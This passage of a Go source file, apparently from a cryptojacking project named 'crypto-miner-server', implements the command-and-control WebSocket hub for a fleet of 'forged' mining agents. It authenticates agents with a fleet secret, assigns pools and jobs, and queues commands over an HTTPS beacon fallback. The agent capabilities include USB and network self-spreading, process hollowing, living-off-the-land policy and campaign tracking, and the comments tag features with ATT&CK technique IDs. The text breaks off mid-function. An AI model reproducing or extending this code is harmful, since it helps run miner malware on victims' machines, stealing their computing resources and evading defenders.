Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Skips triple-onion deploy lanes for simple_deploy forges, restarts mining after auth with server policy, and surfaces connected-but-not-hashing fixes on Dashboard and Crucible.
2782 lines
84 KiB
Go
2782 lines
84 KiB
Go
package api
|
||
|
||
import (
|
||
"crypto/subtle"
|
||
"database/sql"
|
||
"encoding/base64"
|
||
"encoding/json"
|
||
"errors"
|
||
"fmt"
|
||
"log"
|
||
"net/http"
|
||
"strings"
|
||
"sync"
|
||
"time"
|
||
|
||
"crypto-miner-server/internal/alerts"
|
||
fleetai "crypto-miner-server/internal/ai"
|
||
"crypto-miner-server/internal/atlas"
|
||
"crypto-miner-server/internal/db"
|
||
"crypto-miner-server/internal/epidemiology"
|
||
"crypto-miner-server/internal/mining"
|
||
"crypto-miner-server/internal/miningsurgery"
|
||
"crypto-miner-server/internal/models"
|
||
"crypto-miner-server/internal/pool"
|
||
"crypto-miner-server/internal/strategy"
|
||
"crypto-miner-server/internal/vuln"
|
||
|
||
"github.com/google/uuid"
|
||
"github.com/gorilla/websocket"
|
||
)
|
||
|
||
// secureStringEqual compares two strings in constant time to prevent timing attacks.
|
||
func secureStringEqual(a, b string) bool {
|
||
return subtle.ConstantTimeCompare([]byte(a), []byte(b)) == 1
|
||
}
|
||
|
||
func coalesceStr(vals ...string) string {
|
||
for _, v := range vals {
|
||
if strings.TrimSpace(v) != "" {
|
||
return strings.TrimSpace(v)
|
||
}
|
||
}
|
||
return ""
|
||
}
|
||
|
||
// resolveDashboardWSUser validates dashboard WS credentials and returns the username.
|
||
// Preferred: ?ticket= from POST /api/v1/auth/ws-ticket (short-lived, one-time).
|
||
// Legacy: ?token= btoa("user:pass") with auth-session cache parity (API-D10).
|
||
func resolveDashboardWSUser(r *http.Request) (string, bool) {
|
||
if ticket := r.URL.Query().Get("ticket"); ticket != "" {
|
||
return consumeWSTicket(ticket)
|
||
}
|
||
token := r.URL.Query().Get("token")
|
||
if token == "" {
|
||
return "", false
|
||
}
|
||
decoded, err := base64.StdEncoding.DecodeString(token)
|
||
if err != nil {
|
||
return "", false
|
||
}
|
||
parts := strings.SplitN(string(decoded), ":", 2)
|
||
if len(parts) != 2 {
|
||
return "", false
|
||
}
|
||
user, pass := parts[0], parts[1]
|
||
if authCacheHit(user, pass) {
|
||
return user, true
|
||
}
|
||
usersMu.RLock()
|
||
stored, exists := authUsers[user]
|
||
usersMu.RUnlock()
|
||
if !exists || !checkPassword(stored, pass) {
|
||
return "", false
|
||
}
|
||
authCacheSet(user, pass)
|
||
return user, true
|
||
}
|
||
|
||
// checkDashboardWSToken validates dashboard WS upgrade credentials.
|
||
func checkDashboardWSToken(r *http.Request) bool {
|
||
_, ok := resolveDashboardWSUser(r)
|
||
return ok
|
||
}
|
||
|
||
var upgrader = websocket.Upgrader{
|
||
ReadBufferSize: 512 * 1024,
|
||
WriteBufferSize: 512 * 1024,
|
||
CheckOrigin: func(r *http.Request) bool {
|
||
return true // Allow all origins for local use
|
||
},
|
||
}
|
||
|
||
type Message struct {
|
||
Type string `json:"type"`
|
||
Payload json.RawMessage `json:"payload"`
|
||
}
|
||
|
||
type AgentConnection struct {
|
||
AgentID string
|
||
Conn *websocket.Conn
|
||
mu sync.Mutex
|
||
// Latency tracking — updated each ping/pong cycle.
|
||
latencyMu sync.Mutex
|
||
pingSentAt time.Time
|
||
LatencyMs *int // nil until first pong received
|
||
}
|
||
|
||
func (c *AgentConnection) SendJSON(v interface{}) error {
|
||
c.mu.Lock()
|
||
defer c.mu.Unlock()
|
||
return c.Conn.WriteJSON(v)
|
||
}
|
||
|
||
func (c *AgentConnection) WriteControl(messageType int, data []byte, deadline time.Time) error {
|
||
c.mu.Lock()
|
||
defer c.mu.Unlock()
|
||
return c.Conn.WriteControl(messageType, data, deadline)
|
||
}
|
||
|
||
// DashboardConn wraps a dashboard WebSocket with its own write mutex so
|
||
// broadcastDashboard and the ping loop never race on the same connection.
|
||
type DashboardConn struct {
|
||
Conn *websocket.Conn
|
||
mu sync.Mutex
|
||
Username string
|
||
Page string
|
||
}
|
||
|
||
func (d *DashboardConn) WriteMessage(messageType int, data []byte) error {
|
||
d.mu.Lock()
|
||
defer d.mu.Unlock()
|
||
return d.Conn.WriteMessage(messageType, data)
|
||
}
|
||
|
||
func (d *DashboardConn) WriteJSON(v interface{}) error {
|
||
d.mu.Lock()
|
||
defer d.mu.Unlock()
|
||
return d.Conn.WriteJSON(v)
|
||
}
|
||
|
||
func (d *DashboardConn) WriteControl(messageType int, data []byte, deadline time.Time) error {
|
||
d.mu.Lock()
|
||
defer d.mu.Unlock()
|
||
return d.Conn.WriteControl(messageType, data, deadline)
|
||
}
|
||
|
||
// cmdResultKey is used to key pending command callbacks: "agentID:action".
|
||
type cmdResultKey struct{ AgentID, Action string }
|
||
|
||
// ConnectTaskRunner fires scheduled fleet tasks on agent connect/reconnect.
|
||
type ConnectTaskRunner interface {
|
||
RunConnectTasks(agentID, trigger string)
|
||
}
|
||
|
||
type WSHub struct {
|
||
db *db.Database
|
||
agents map[string]*AgentConnection
|
||
dashboards map[string]*DashboardConn
|
||
poolManager *pool.Manager
|
||
defaultPool pool.Config
|
||
aiHandler *AIHandler
|
||
agentConfigs map[string]AgentForgeConfig
|
||
agentCapabilities map[string]models.AgentCapabilities
|
||
agentLogs map[string]string
|
||
// T1016 DNS drift detection — stores last seen resolver list per agent
|
||
agentDNS map[string][]string
|
||
// Latest service_discover payloads keyed by agent ID (Crucible service graph).
|
||
agentServiceDiscover map[string]cachedServiceDiscover
|
||
agentLiveTelemetry map[string]map[string]interface{}
|
||
agentInheritedPhenotype map[string]strategy.InheritedPhenotype
|
||
agentSubnet map[string]string
|
||
breedingRegistry *strategy.BreedingRegistry
|
||
serverPolicy ServerPolicy
|
||
adaptiveEngine *strategy.AdaptiveEngine
|
||
failureAtlas *atlas.FailureAtlas
|
||
subnetImmune *atlas.SubnetImmune
|
||
subnetAutopsies map[string]atlas.SubnetAutopsyPacket
|
||
subnetGossipWhispers map[string][]atlas.GossipHint
|
||
epidemiology *epidemiology.Tracker
|
||
miningSurgery *miningsurgery.Tracker
|
||
contingencyOrch *mining.ContingencyOrchestrator
|
||
policySnapshotToken string
|
||
policyEventBridgeRelayURL string
|
||
policyPublicBaseURL func() string
|
||
pingIntervalSec int
|
||
fleetSecret string // baked into forged agents; verified on WS connect
|
||
eventNotifier *alerts.Notifier
|
||
connectTasks ConnectTaskRunner
|
||
clearance *ClearanceManager
|
||
mu sync.RWMutex
|
||
|
||
// pendingCmdCallbacks allows handlers to await a specific command_result
|
||
// from an agent (used by Path Tracer orchestration).
|
||
pendingCmdMu sync.Mutex
|
||
pendingCmdCallbacks map[cmdResultKey]chan map[string]interface{}
|
||
|
||
// HTTPS beacon fallback (T1071.001) — command queue when WebSocket is down.
|
||
beaconMu sync.Mutex
|
||
beaconLastSeen map[string]time.Time
|
||
beaconCmdQueue map[string][]BeaconCommand
|
||
beaconPolicyQueue map[string][]FleetAgentPolicy
|
||
|
||
// Scout constellation venue clustering (APK scouts reporting same SSID).
|
||
scoutConstellationMu sync.Mutex
|
||
scoutConstellations *fleetai.ScoutConstellationRegistry
|
||
scoutAgents map[string]bool
|
||
|
||
// Cloud venue biomes (EC2 agents reporting IMDS tags + Organizations OU).
|
||
cloudVenueMu sync.Mutex
|
||
cloudVenues *fleetai.CloudVenueRegistry
|
||
|
||
fargateBurstCampaign bool
|
||
fargateBurstExpiresAt time.Time
|
||
fargateBurstTTLHours int
|
||
|
||
// Coalesce per-agent stats_update into a single stats_batch frame per tick.
|
||
statsBatchMu sync.Mutex
|
||
statsBatch map[string]json.RawMessage
|
||
statsBatchTimer *time.Timer
|
||
}
|
||
|
||
func NewWSHub(database *db.Database) *WSHub {
|
||
// Reset any rows that were left "online" by a previous server crash/restart.
|
||
// Agents will re-authenticate and flip themselves back to online within seconds.
|
||
if database != nil {
|
||
if err := database.MarkAllAgentsOffline(); err != nil {
|
||
log.Printf("[hub] startup offline reset: %v", err)
|
||
}
|
||
}
|
||
|
||
h := &WSHub{
|
||
db: database,
|
||
agents: make(map[string]*AgentConnection),
|
||
dashboards: make(map[string]*DashboardConn),
|
||
agentConfigs: make(map[string]AgentForgeConfig),
|
||
agentCapabilities: make(map[string]models.AgentCapabilities),
|
||
agentLogs: make(map[string]string),
|
||
agentDNS: make(map[string][]string),
|
||
agentServiceDiscover: make(map[string]cachedServiceDiscover),
|
||
agentLiveTelemetry: make(map[string]map[string]interface{}),
|
||
agentInheritedPhenotype: make(map[string]strategy.InheritedPhenotype),
|
||
agentSubnet: make(map[string]string),
|
||
breedingRegistry: strategy.NewBreedingRegistry(),
|
||
epidemiology: epidemiology.NewTracker(),
|
||
miningSurgery: miningsurgery.NewTracker(),
|
||
pendingCmdCallbacks: make(map[cmdResultKey]chan map[string]interface{}),
|
||
beaconLastSeen: make(map[string]time.Time),
|
||
beaconCmdQueue: make(map[string][]BeaconCommand),
|
||
beaconPolicyQueue: make(map[string][]FleetAgentPolicy),
|
||
pingIntervalSec: 30,
|
||
}
|
||
h.clearance = NewClearanceManager(h)
|
||
if database != nil {
|
||
h.refreshHospiceBreedingCache()
|
||
}
|
||
|
||
// Background stale-agent sweep:
|
||
// 3 minutes old but the row still says "online", force it offline.
|
||
// This catches TCP half-open drops that slip past the ping/pong timeout.
|
||
go h.runStaleAgentSweep()
|
||
go h.runWarRoomBroadcast()
|
||
|
||
return h
|
||
}
|
||
|
||
// runStaleAgentSweep periodically marks online agents offline when their
|
||
// last_seen timestamp is stale (> 3 minutes without a stats message).
|
||
// It also notifies the dashboard so client state stays in sync.
|
||
func (h *WSHub) runStaleAgentSweep() {
|
||
if h.db == nil {
|
||
return
|
||
}
|
||
ticker := time.NewTicker(StaleAgentSweepInterval)
|
||
defer ticker.Stop()
|
||
for range ticker.C {
|
||
// Only sweep agents that are NOT currently connected in memory.
|
||
// If a live WS exists, let normal disconnect handling do its job.
|
||
h.mu.RLock()
|
||
liveIDs := make(map[string]bool, len(h.agents))
|
||
for id := range h.agents {
|
||
liveIDs[id] = true
|
||
}
|
||
h.mu.RUnlock()
|
||
|
||
agents, err := h.db.ListStaleOnlineAgents(StaleAgentThreshold)
|
||
if err != nil {
|
||
continue
|
||
}
|
||
for _, a := range agents {
|
||
if a == nil || liveIDs[a.ID] {
|
||
continue
|
||
}
|
||
// Row claims online, no live socket, last_seen is stale — fix it.
|
||
_ = h.db.SetAgentOffline(a.ID)
|
||
h.broadcastDashboard(Message{
|
||
Type: "agent_offline",
|
||
Payload: mustMarshal(map[string]string{"agent_id": a.ID}),
|
||
})
|
||
log.Printf("[hub] stale-sweep marked agent %s offline (last_seen %s ago)",
|
||
a.ID, time.Since(a.LastSeen).Round(time.Second))
|
||
}
|
||
}
|
||
}
|
||
|
||
func (h *WSHub) SetServerPolicy(p ServerPolicy) {
|
||
h.mu.Lock()
|
||
h.serverPolicy = p
|
||
h.mu.Unlock()
|
||
}
|
||
|
||
// SetAdaptiveEngine wires the fleet learning engine and starts background rescoring.
|
||
func (h *WSHub) SetAdaptiveEngine(e *strategy.AdaptiveEngine) {
|
||
h.mu.Lock()
|
||
h.adaptiveEngine = e
|
||
h.mu.Unlock()
|
||
if e != nil {
|
||
go h.runAdaptiveStrategyLoop()
|
||
}
|
||
}
|
||
|
||
// SetFailureAtlas wires negative-space mining pattern learning.
|
||
func (h *WSHub) SetFailureAtlas(a *atlas.FailureAtlas) {
|
||
h.mu.Lock()
|
||
h.failureAtlas = a
|
||
h.mu.Unlock()
|
||
}
|
||
|
||
func (h *WSHub) runAdaptiveStrategyLoop() {
|
||
ticker := time.NewTicker(strategy.RescoreInterval)
|
||
defer ticker.Stop()
|
||
for range ticker.C {
|
||
h.mu.RLock()
|
||
engine := h.adaptiveEngine
|
||
h.mu.RUnlock()
|
||
if engine == nil || !engine.Enabled() || h.serverPolicy.AIControlEnabled {
|
||
continue
|
||
}
|
||
if _, err := engine.RecomputeAll(); err != nil {
|
||
log.Printf("[strategy] background rescore: %v", err)
|
||
}
|
||
h.PushAdaptiveStrategyUpdates()
|
||
}
|
||
}
|
||
|
||
func (h *WSHub) SetPingInterval(seconds int) {
|
||
if seconds < 10 {
|
||
seconds = 30
|
||
}
|
||
h.mu.Lock()
|
||
h.pingIntervalSec = seconds
|
||
h.mu.Unlock()
|
||
}
|
||
|
||
// SetFleetSecret stores the shared secret that all forged agents must present.
|
||
// Called once at startup from main.go after config is loaded.
|
||
func (h *WSHub) SetEventNotifier(n *alerts.Notifier) {
|
||
h.mu.Lock()
|
||
h.eventNotifier = n
|
||
h.mu.Unlock()
|
||
}
|
||
|
||
func (h *WSHub) SetFleetSecret(secret string) {
|
||
h.mu.Lock()
|
||
h.fleetSecret = secret
|
||
h.mu.Unlock()
|
||
}
|
||
|
||
func (h *WSHub) SetConnectTaskRunner(r ConnectTaskRunner) {
|
||
h.mu.Lock()
|
||
h.connectTasks = r
|
||
h.mu.Unlock()
|
||
}
|
||
|
||
func (h *WSHub) ConnectedAgentIDs() []string {
|
||
h.mu.RLock()
|
||
defer h.mu.RUnlock()
|
||
ids := make([]string, 0, len(h.agents))
|
||
for id := range h.agents {
|
||
ids = append(ids, id)
|
||
}
|
||
return ids
|
||
}
|
||
|
||
func (h *WSHub) pingInterval() time.Duration {
|
||
h.mu.RLock()
|
||
sec := h.pingIntervalSec
|
||
h.mu.RUnlock()
|
||
if sec < 10 {
|
||
sec = 30
|
||
}
|
||
return time.Duration(sec) * time.Second
|
||
}
|
||
|
||
func (h *WSHub) runPingLoopRaw(conn *websocket.Conn) {
|
||
interval := h.pingInterval()
|
||
ticker := time.NewTicker(interval)
|
||
defer ticker.Stop()
|
||
|
||
_ = conn.SetReadDeadline(time.Now().Add(interval * 2))
|
||
conn.SetPongHandler(func(string) error {
|
||
return conn.SetReadDeadline(time.Now().Add(interval * 2))
|
||
})
|
||
|
||
for range ticker.C {
|
||
if err := conn.WriteControl(websocket.PingMessage, nil, time.Now().Add(10*time.Second)); err != nil {
|
||
return
|
||
}
|
||
}
|
||
}
|
||
|
||
// runPingLoopAgent is like runPingLoopRaw but also records RTT on each pong.
|
||
func (h *WSHub) runPingLoopAgent(ac *AgentConnection) {
|
||
interval := h.pingInterval()
|
||
ticker := time.NewTicker(interval)
|
||
defer ticker.Stop()
|
||
|
||
conn := ac.Conn
|
||
_ = conn.SetReadDeadline(time.Now().Add(interval * 2))
|
||
conn.SetPongHandler(func(string) error {
|
||
// Measure RTT.
|
||
ac.latencyMu.Lock()
|
||
if !ac.pingSentAt.IsZero() {
|
||
ms := int(time.Since(ac.pingSentAt).Milliseconds())
|
||
ac.LatencyMs = &ms
|
||
}
|
||
ac.latencyMu.Unlock()
|
||
return conn.SetReadDeadline(time.Now().Add(interval * 2))
|
||
})
|
||
|
||
for range ticker.C {
|
||
ac.latencyMu.Lock()
|
||
ac.pingSentAt = time.Now()
|
||
ac.latencyMu.Unlock()
|
||
if err := ac.WriteControl(websocket.PingMessage, nil, time.Now().Add(10*time.Second)); err != nil {
|
||
// Close so the read loop wakes up and deferred cleanup fires immediately.
|
||
_ = conn.Close()
|
||
return
|
||
}
|
||
}
|
||
}
|
||
|
||
func (h *WSHub) runPingLoopDash(dc *DashboardConn) {
|
||
interval := h.pingInterval()
|
||
ticker := time.NewTicker(interval)
|
||
defer ticker.Stop()
|
||
|
||
_ = dc.Conn.SetReadDeadline(time.Now().Add(interval * 2))
|
||
dc.Conn.SetPongHandler(func(string) error {
|
||
return dc.Conn.SetReadDeadline(time.Now().Add(interval * 2))
|
||
})
|
||
|
||
for range ticker.C {
|
||
if err := dc.WriteControl(websocket.PingMessage, nil, time.Now().Add(10*time.Second)); err != nil {
|
||
return
|
||
}
|
||
}
|
||
}
|
||
|
||
// PolicyErasureEnabled reports whether Reed–Solomon erasure lanes are active.
|
||
func (h *WSHub) PolicyErasureEnabled() bool {
|
||
return h.serverPolicySnapshot().ErasureLanesEnabled
|
||
}
|
||
|
||
func (h *WSHub) serverPolicySnapshot() ServerPolicy {
|
||
h.mu.RLock()
|
||
defer h.mu.RUnlock()
|
||
return h.serverPolicy
|
||
}
|
||
|
||
func (h *WSHub) connectedAgentCount() int {
|
||
h.mu.RLock()
|
||
defer h.mu.RUnlock()
|
||
return len(h.agents)
|
||
}
|
||
|
||
// AwaitCommandResult registers a one-shot channel that will receive the next
|
||
// command_result payload for the given agentID+action pair. Call before
|
||
// sending the command so no result is missed. The caller must read from the
|
||
// returned channel within the given timeout.
|
||
func (h *WSHub) AwaitCommandResult(agentID, action string) <-chan map[string]interface{} {
|
||
ch := make(chan map[string]interface{}, 1)
|
||
h.pendingCmdMu.Lock()
|
||
h.pendingCmdCallbacks[cmdResultKey{agentID, action}] = ch
|
||
h.pendingCmdMu.Unlock()
|
||
return ch
|
||
}
|
||
|
||
// CancelAwait removes a pending callback without consuming it.
|
||
func (h *WSHub) CancelAwait(agentID, action string) {
|
||
h.pendingCmdMu.Lock()
|
||
delete(h.pendingCmdCallbacks, cmdResultKey{agentID, action})
|
||
h.pendingCmdMu.Unlock()
|
||
}
|
||
|
||
func (h *WSHub) notifyCmdCallback(agentID, action string, payload map[string]interface{}) {
|
||
h.pendingCmdMu.Lock()
|
||
ch, ok := h.pendingCmdCallbacks[cmdResultKey{agentID, action}]
|
||
if ok {
|
||
delete(h.pendingCmdCallbacks, cmdResultKey{agentID, action})
|
||
}
|
||
h.pendingCmdMu.Unlock()
|
||
if ok {
|
||
// Blocking send — Path Tracer and other orchestrators must not drop results.
|
||
ch <- payload
|
||
}
|
||
}
|
||
|
||
func (h *WSHub) isAgentConnected(agentID string) bool {
|
||
h.mu.RLock()
|
||
defer h.mu.RUnlock()
|
||
_, ok := h.agents[agentID]
|
||
return ok
|
||
}
|
||
|
||
// writeAgentJSON sends a message to a connected agent using the per-connection
|
||
// write mutex. All post-auth outbound JSON must use this — never conn.WriteJSON
|
||
// from the read loop, or commands and new_job messages can corrupt each other.
|
||
//
|
||
// On any write error the underlying connection is closed immediately so the
|
||
// read loop's ReadMessage call returns an error, triggering the deferred
|
||
// cleanup (SetAgentOffline + agent_offline broadcast) without waiting the full
|
||
// 90-second read deadline.
|
||
func (h *WSHub) writeAgentJSON(agentID string, msg Message) error {
|
||
ac := h.getAgentConn(agentID)
|
||
if ac == nil {
|
||
return fmt.Errorf("agent %s not connected", agentID)
|
||
}
|
||
if err := ac.SendJSON(msg); err != nil {
|
||
// Closing the socket causes ReadMessage to fail immediately, which lets
|
||
// the HandleAgentWS defer run cleanup instead of waiting up to 90s.
|
||
_ = ac.Conn.Close()
|
||
return err
|
||
}
|
||
return nil
|
||
}
|
||
|
||
func (h *WSHub) SetPoolManager(manager *pool.Manager, defaultCfg pool.Config) {
|
||
h.mu.Lock()
|
||
h.poolManager = manager
|
||
h.defaultPool = defaultCfg
|
||
h.mu.Unlock()
|
||
}
|
||
|
||
func (h *WSHub) SetAIHandler(ai *AIHandler) {
|
||
h.mu.Lock()
|
||
h.aiHandler = ai
|
||
h.mu.Unlock()
|
||
}
|
||
|
||
func (h *WSHub) agentPoolConfig(agentID string) pool.Config {
|
||
h.mu.RLock()
|
||
defer h.mu.RUnlock()
|
||
cfg := h.agentConfigs[agentID]
|
||
poolCfg := pool.Config{
|
||
Host: cfg.poolHostOrDefault(h.defaultPool.Host),
|
||
Port: cfg.poolPortOrDefault(h.defaultPool.Port),
|
||
Wallet: cfg.Wallet,
|
||
}
|
||
if cfg.PoolHost == "" {
|
||
poolCfg.UseTLS = h.defaultPool.UseTLS
|
||
} else {
|
||
poolCfg.UseTLS = cfg.PoolTLS
|
||
}
|
||
if cfg.PoolPass != "" {
|
||
poolCfg.Password = cfg.PoolPass
|
||
} else if h.defaultPool.Password != "" {
|
||
poolCfg.Password = h.defaultPool.Password
|
||
} else {
|
||
poolCfg.Password = "x"
|
||
}
|
||
if poolCfg.Wallet == "" {
|
||
poolCfg.Wallet = h.defaultPool.Wallet
|
||
}
|
||
// Always carry the payment ID from the server-wide default (agents don't
|
||
// supply their own payment ID).
|
||
poolCfg.PaymentID = h.defaultPool.PaymentID
|
||
return poolCfg
|
||
}
|
||
|
||
func (h *WSHub) getAgentConn(agentID string) *AgentConnection {
|
||
h.mu.RLock()
|
||
defer h.mu.RUnlock()
|
||
return h.agents[agentID]
|
||
}
|
||
|
||
func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||
clientIP := r.Header.Get("X-Forwarded-For")
|
||
if clientIP == "" {
|
||
clientIP = r.RemoteAddr
|
||
}
|
||
if idx := strings.LastIndex(clientIP, ":"); idx > 0 && strings.Count(clientIP, ":") == 1 {
|
||
clientIP = clientIP[:idx]
|
||
}
|
||
log.Printf("[WS] Agent connection attempt from %s (origin=%s)", clientIP, r.Header.Get("Origin"))
|
||
if !allowAgentWSUpgrade(clientIP) {
|
||
http.Error(w, "Too Many Requests", http.StatusTooManyRequests)
|
||
log.Printf("[WS] Agent upgrade rate-limited from %s", clientIP)
|
||
return
|
||
}
|
||
conn, err := upgrader.Upgrade(w, r, nil)
|
||
if err != nil {
|
||
log.Printf("[WS] Agent upgrade failed from %s: %v", clientIP, err)
|
||
return
|
||
}
|
||
log.Printf("[WS] Agent WebSocket upgraded OK from %s", clientIP)
|
||
_ = conn.SetReadDeadline(time.Now().Add(agentWSAuthTimeout))
|
||
|
||
agentID := ""
|
||
defer func() {
|
||
if agentID != "" {
|
||
h.mu.Lock()
|
||
cur := h.agents[agentID]
|
||
// Only tear down fleet state if this connection is still the active one.
|
||
if cur != nil && cur.Conn == conn {
|
||
delete(h.agents, agentID)
|
||
delete(h.agentConfigs, agentID)
|
||
delete(h.agentLogs, agentID)
|
||
delete(h.agentSubnet, agentID)
|
||
h.mu.Unlock()
|
||
if h.aiHandler != nil {
|
||
h.aiHandler.RemoveEngine(agentID)
|
||
}
|
||
if h.clearance != nil {
|
||
h.clearance.RemoveAgent(agentID)
|
||
}
|
||
if err := h.db.SetAgentOffline(agentID); err != nil {
|
||
log.Printf("[hub] SetAgentOffline %s: %v", agentID, err)
|
||
}
|
||
h.broadcastDashboard(Message{
|
||
Type: "agent_offline",
|
||
Payload: mustMarshal(map[string]string{"agent_id": agentID}),
|
||
})
|
||
} else {
|
||
h.mu.Unlock()
|
||
}
|
||
}
|
||
conn.Close()
|
||
}()
|
||
|
||
for {
|
||
_, msgBytes, err := conn.ReadMessage()
|
||
if err != nil {
|
||
log.Printf("Agent read error: %v", err)
|
||
break
|
||
}
|
||
|
||
var msg Message
|
||
if err := json.Unmarshal(msgBytes, &msg); err != nil {
|
||
log.Printf("Invalid message from agent: %v", err)
|
||
continue
|
||
}
|
||
|
||
switch msg.Type {
|
||
case "auth":
|
||
var auth struct {
|
||
AgentID string `json:"agent_id"`
|
||
FleetSecret string `json:"fleet_secret"`
|
||
Wallet string `json:"wallet"`
|
||
BackupPools []struct {
|
||
Host string `json:"host"`
|
||
Port int `json:"port"`
|
||
TLS bool `json:"pool_tls"`
|
||
Pass string `json:"pass"`
|
||
} `json:"backup_pools"`
|
||
Version string `json:"version"`
|
||
Hostname string `json:"hostname"`
|
||
Worker string `json:"worker"`
|
||
WorkerName string `json:"worker_name"`
|
||
CPUCores int `json:"cpu_cores"`
|
||
MemoryGB int `json:"memory_gb"`
|
||
PoolHost string `json:"pool_host"`
|
||
PoolPort int `json:"pool_port"`
|
||
PoolTLS bool `json:"pool_tls"`
|
||
PoolPass string `json:"pool_pass"`
|
||
AIEnabled bool `json:"ai_enabled"`
|
||
AIOllamaEndpoint string `json:"ai_ollama_endpoint"`
|
||
AIModel string `json:"ai_model"`
|
||
HolePunch bool `json:"hole_punch"`
|
||
RemoteAggressive bool `json:"remote_aggressive"`
|
||
MeshP2P bool `json:"mesh_p2p"`
|
||
AutoSpread bool `json:"auto_spread"`
|
||
ProcessHollowing bool `json:"process_hollowing"`
|
||
Platform string `json:"platform"`
|
||
Arch string `json:"arch"`
|
||
OSVersion string `json:"os_version"`
|
||
MacAddress string `json:"mac_address,omitempty"`
|
||
BuildID string `json:"build_id"`
|
||
USBSpread bool `json:"usb_spread"`
|
||
Campaign string `json:"campaign"`
|
||
UTM string `json:"utm"`
|
||
LotlPolicyFromServer bool `json:"lotl_policy_from_server"`
|
||
SimpleDeploy bool `json:"simple_deploy,omitempty"`
|
||
JoinLane string `json:"join_lane,omitempty"`
|
||
ParentAgentID string `json:"parent_agent_id,omitempty"`
|
||
SpreadGeneration int `json:"spread_generation,omitempty"`
|
||
SpreadStrain string `json:"spread_strain,omitempty"`
|
||
FleetRole string `json:"fleet_role,omitempty"`
|
||
SeederMode bool `json:"seeder_mode,omitempty"`
|
||
IP string `json:"ip,omitempty"`
|
||
}
|
||
if err := json.Unmarshal(msg.Payload, &auth); err != nil {
|
||
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
|
||
"success": false, "error": "invalid auth payload",
|
||
})})
|
||
continue
|
||
}
|
||
|
||
// Verify fleet secret. If the server has one configured, the agent must match.
|
||
h.mu.RLock()
|
||
requiredSecret := h.fleetSecret
|
||
h.mu.RUnlock()
|
||
log.Printf("[WS] Agent auth: id=%s host=%s secret_prefix=%.8s", auth.AgentID, auth.Hostname, auth.FleetSecret)
|
||
if requiredSecret != "" && !secureStringEqual(auth.FleetSecret, requiredSecret) {
|
||
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
|
||
"success": false, "error": "invalid fleet secret — re-forge this agent",
|
||
})})
|
||
log.Printf("[auth] Agent rejected: bad fleet secret (host=%s id=%s)", auth.Hostname, auth.AgentID)
|
||
return
|
||
}
|
||
|
||
agentID = auth.AgentID
|
||
if agentID == "" {
|
||
// Try to match an existing agent by MAC address so a re-installed
|
||
// agent reuses its DB record instead of creating a ghost entry.
|
||
if auth.MacAddress != "" {
|
||
if existingID, err := h.db.FindAgentByMAC(auth.MacAddress); err == nil && existingID != "" {
|
||
agentID = existingID
|
||
log.Printf("[WS] Matched agent by MAC %s → reusing id=%s", auth.MacAddress, agentID)
|
||
}
|
||
}
|
||
if agentID == "" {
|
||
agentID = uuid.New().String()
|
||
}
|
||
}
|
||
|
||
displayName := agentDisplayName(auth.WorkerName, auth.Worker, auth.Hostname, agentID)
|
||
|
||
policy := h.serverPolicySnapshot()
|
||
|
||
backupPools := make([]AgentBackupPool, len(auth.BackupPools))
|
||
for i, bp := range auth.BackupPools {
|
||
backupPools[i] = AgentBackupPool{Host: bp.Host, Port: bp.Port, TLS: bp.TLS, Pass: bp.Pass}
|
||
}
|
||
|
||
forgeCfg := AgentForgeConfig{
|
||
Wallet: auth.Wallet,
|
||
PoolHost: auth.PoolHost,
|
||
PoolPort: auth.PoolPort,
|
||
PoolTLS: auth.PoolTLS,
|
||
PoolPass: auth.PoolPass,
|
||
AIEnabled: auth.AIEnabled,
|
||
AIOllamaEndpoint: auth.AIOllamaEndpoint,
|
||
AIModel: auth.AIModel,
|
||
BackupPools: backupPools,
|
||
}
|
||
|
||
caps := models.AgentCapabilities{
|
||
HolePunch: auth.HolePunch,
|
||
RemoteAggressive: auth.RemoteAggressive,
|
||
MeshP2P: auth.MeshP2P,
|
||
AutoSpread: auth.AutoSpread,
|
||
ProcessHollowing: auth.ProcessHollowing && auth.Platform == "windows",
|
||
AIEnabled: auth.AIEnabled,
|
||
USBSpread: auth.USBSpread,
|
||
}
|
||
|
||
h.mu.Lock()
|
||
h.agentConfigs[agentID] = forgeCfg
|
||
h.agentCapabilities[agentID] = caps
|
||
h.mu.Unlock()
|
||
|
||
if h.poolManager != nil {
|
||
poolCfg := h.agentPoolConfig(agentID)
|
||
if poolCfg.Password == "" {
|
||
poolCfg.Password = "x"
|
||
}
|
||
|
||
// Build backup pool.Config list from what the agent sent at auth.
|
||
var backupCfgs []pool.Config
|
||
for _, bp := range backupPools {
|
||
if bp.Host == "" || bp.Port <= 0 {
|
||
continue
|
||
}
|
||
bpc := pool.Config{
|
||
Host: bp.Host,
|
||
Port: bp.Port,
|
||
UseTLS: bp.TLS,
|
||
Wallet: poolCfg.Wallet,
|
||
}
|
||
if bp.Pass != "" {
|
||
bpc.Password = bp.Pass
|
||
} else {
|
||
bpc.Password = poolCfg.Password
|
||
}
|
||
backupCfgs = append(backupCfgs, bpc)
|
||
}
|
||
|
||
// Connect to pool in background — do NOT block the auth_response.
|
||
// Once the pool is ready, push the current job so the agent starts
|
||
// mining immediately instead of waiting for a get_job retry cycle.
|
||
go func(pc pool.Config, bcs []pool.Config, aid string) {
|
||
proxy, err := h.poolManager.EnsurePoolWithBackups(&pc, bcs)
|
||
if err != nil {
|
||
log.Printf("[WS] Pool init for agent %s failed (will retry): %v", aid, err)
|
||
return
|
||
}
|
||
if job := proxy.GetCurrentJob(); job != nil {
|
||
if wErr := h.writeAgentJSON(aid, Message{Type: "new_job", Payload: mustMarshal(job)}); wErr != nil {
|
||
log.Printf("[WS] Push initial job to agent %s: %v", aid, wErr)
|
||
}
|
||
}
|
||
}(poolCfg, backupCfgs, agentID)
|
||
}
|
||
|
||
if h.aiHandler != nil && forgeCfg.AIEnabled {
|
||
h.aiHandler.SetEngineForAgent(agentID, forgeCfg.AIOllamaEndpoint, forgeCfg.AIModel)
|
||
}
|
||
|
||
clientIP := r.Header.Get("X-Forwarded-For")
|
||
if clientIP == "" {
|
||
clientIP = r.RemoteAddr
|
||
}
|
||
if idx := strings.LastIndex(clientIP, ":"); idx > 0 && strings.Count(clientIP, ":") == 1 {
|
||
clientIP = clientIP[:idx]
|
||
}
|
||
if authIP := strings.TrimSpace(auth.IP); authIP != "" {
|
||
clientIP = authIP
|
||
}
|
||
|
||
